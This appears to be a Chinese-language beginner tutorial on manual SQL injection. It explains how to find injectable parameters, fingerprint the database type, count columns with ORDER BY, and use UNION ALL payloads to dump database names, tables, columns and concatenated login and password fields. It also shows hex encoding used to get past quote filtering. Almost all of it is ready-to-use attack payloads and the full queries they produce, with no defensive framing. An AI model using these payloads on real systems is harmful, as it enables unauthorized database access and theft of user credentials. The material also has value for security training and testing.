手工sql注入簡單入門
1、判斷是否可以注入:
數字型:
1.1在引數後面加一個引號',如果頁面報數字number錯誤,則一定不是sql注入點;如果報資料庫比如mysql、oracle之類的錯誤,則是一個sql注入點。
1.2 在引數後面加上 依次加上 and 1=1 和 and 1=2,如果加上 and 1=1 還能正常顯示原來的資料,並且加上 and 1=2時,原來資料不顯示或者報錯時,則是一個sql注入點
字元型:
1.3 在引數後面加上 依次加上 ' and '1'='1 和 ' and '1'='2 ,如果加上 ' and '1'='1 還能正常顯示原來的資料,並且加上 ' and '1'='2 時,原來資料不顯示或者報錯時,則是一個sql注入點
備註:
因為字元型引數時,程式碼會加入引號'',注入時要消耗掉這個引號
搜尋型:
1.4 在搜尋框內 依次填入 a%' and '%'=' 和 a%' and 't'=' ,如果加上 ' and '1'='1 還能正常顯示原來的資料,並且加上 ' and '1'='2 時,原來資料不顯示或者報錯時,則是一個sql注入點
備註:
因為字元型引數時,程式碼會加入'%%',注入時要消耗掉這個引號
偽靜態:
1.5 url帶.html時,在.html前面加一個',根據頁面報錯判斷,如果報400,肯定不是偽靜態,如果報200或者500,則可能是偽靜態,可以輸入
and 1=1 和 and 1=2,和數字型一樣判斷
2、判斷資料庫型別方法:
①使用exists函式判斷表是否存在,使用用法 and exists(select * from fq_user),如果存在則會返回資料,否則無資料返回
SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS ( SELECT * FROM information_schema.INNODB_CMP) #1表示表的第一個欄位(mysql資料庫)
②根據資料庫不同型別自帶的系統資料庫表,如以下型別資料庫:
mysql: 自帶有information_schema資料庫的表tables,在url插入AND EXISTS (SELECT * FROM information_schema.tables) #mysql 5 以上
完整sql: SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS (SELECT * FROM information_schema.tables)
-----------------------------------------------------------
oracle: 在url插入and exists(select * from dba_users)
完整sql: select * from sys_user_info dd where dd.login_name='bj18612832966' and exists(select * from dba_users )
-----------------------------------------------------------
sqlserver: 在url插入and exists(select * from sysobjects)
完整sql: select * from sys_user_info dd where dd.login_name='bj18612832966' and exists(select * from sysobjects )
分析:如果原請求有返回資料,原sql:SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776,那麼加上AND EXISTS (SELECT * FROM information_schema.INNODB_CMPtables),即SELECT * FROM fq_wealth_user cc WHERE cc.login_name = 13143683776 AND EXISTS (SELECT * FROM information_schema.tables)後仍有資料返回,說明是mysql資料庫,否則不是mysql資料庫
3、判斷資料庫當前表有多少個欄位:
使用order by函式判斷表是否有多少個欄位,在url請求後面插入order by 5,表示猜測表有5個欄位以上,如果表少於5個欄位會報錯,通過改變order by number 後面的資料number來驗證表有多少個欄位
完整sql:SELECT * FROM fq_wealth_user cc ORDER BY 25 #表示猜測表fq_wealth_user有25個欄位以上(含25)
4、union all注入
引數為數字型union all 注入方法:
在url引數後面插入union all select 1,2,3,4 from dual如果是mysql或者sqlserver,則可以不用from dual(dual為虛擬表,可以隨便填寫資料庫存在的表,如information_schema.tables),另外union all select 後面的欄位數(1,2,3,4這些欄位,可以隨便寫數字)必須與聯合表(前面order by 確認的表字段數量一致)
完整sql:SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.id=1 union all select 1,2 from dual
----------------------------------------
引數為字元型union all 注入方法:
在url引數後面插入 ' union all select 1,2,3,4 from dual--%20如果是mysql或者sqlserver,則可以不用from dual(dual為虛擬表,可以隨便填寫資料庫存在的表,如information_schema.tables),另外union all select 後面的欄位數(1,2,3,4這些欄位,可以隨便寫數字)必須與聯合表(前面order by 確認的表字段數量一致)
完整sql:SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name= '13143683775 ' union all select 1,2 from dual --%20 '
備註:
1、--%20表示:--是為了註釋後面的程式自帶的引號’,%20表示空格
----------------------------------------------------------
查詢資料庫的版本號、使用者、當前資料庫、所有資料庫
版本號:version()
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select user(),2 from dual
資料庫使用者:user()
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select version(),2 from dual
當前資料庫:函式database()
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select database(),2 from dual
所有資料庫:information_schema.SCHEMATA 表中 SCHEMA_name欄位為資料庫例項
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select SCHEMA_name,2 from information_schema.SCHEMATA
所有資料庫表:information_schema.tables 表中 table_name
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select table_name,2 from information_schema.tables
所有資料庫欄位:information_schema.columns 表中 column_name
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select column_name,2 from information_schema.columns
所有資料庫表的欄位:information_schema.columns 表中 table_name、column_name
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select concat(table_name,'|',column_name),2 from information_schema.columns
備註:
1、select concat(login_name,passwd) from tb_user_info 會把login_name,passwd兩個欄位連線成一個欄位顯示
2、select concat(login_name,'|',passwd) from tb_user_info 會把login_name,passwd兩個欄位連線成一個欄位,並中間用“|”隔開顯示
程式碼有引號遮蔽時,使用16進位制規避引號:
SELECT cc.login_name,cc.password FROM fq_wealth_user cc where cc.login_name like '13143683775' union all select concat(table_name,0x7C,column_name),2 from information_schema.columns
備註:
1、mysql使用函式 select hex('|')查出|的16進製表示
2、在select hex('|')查出的結果中前面加上0x表示十六進位制的|,在sql中使用,如上面sql,select hex('|')查出|的十六進位制結果是7C,| 的十六進位制為加上0x後的0x7C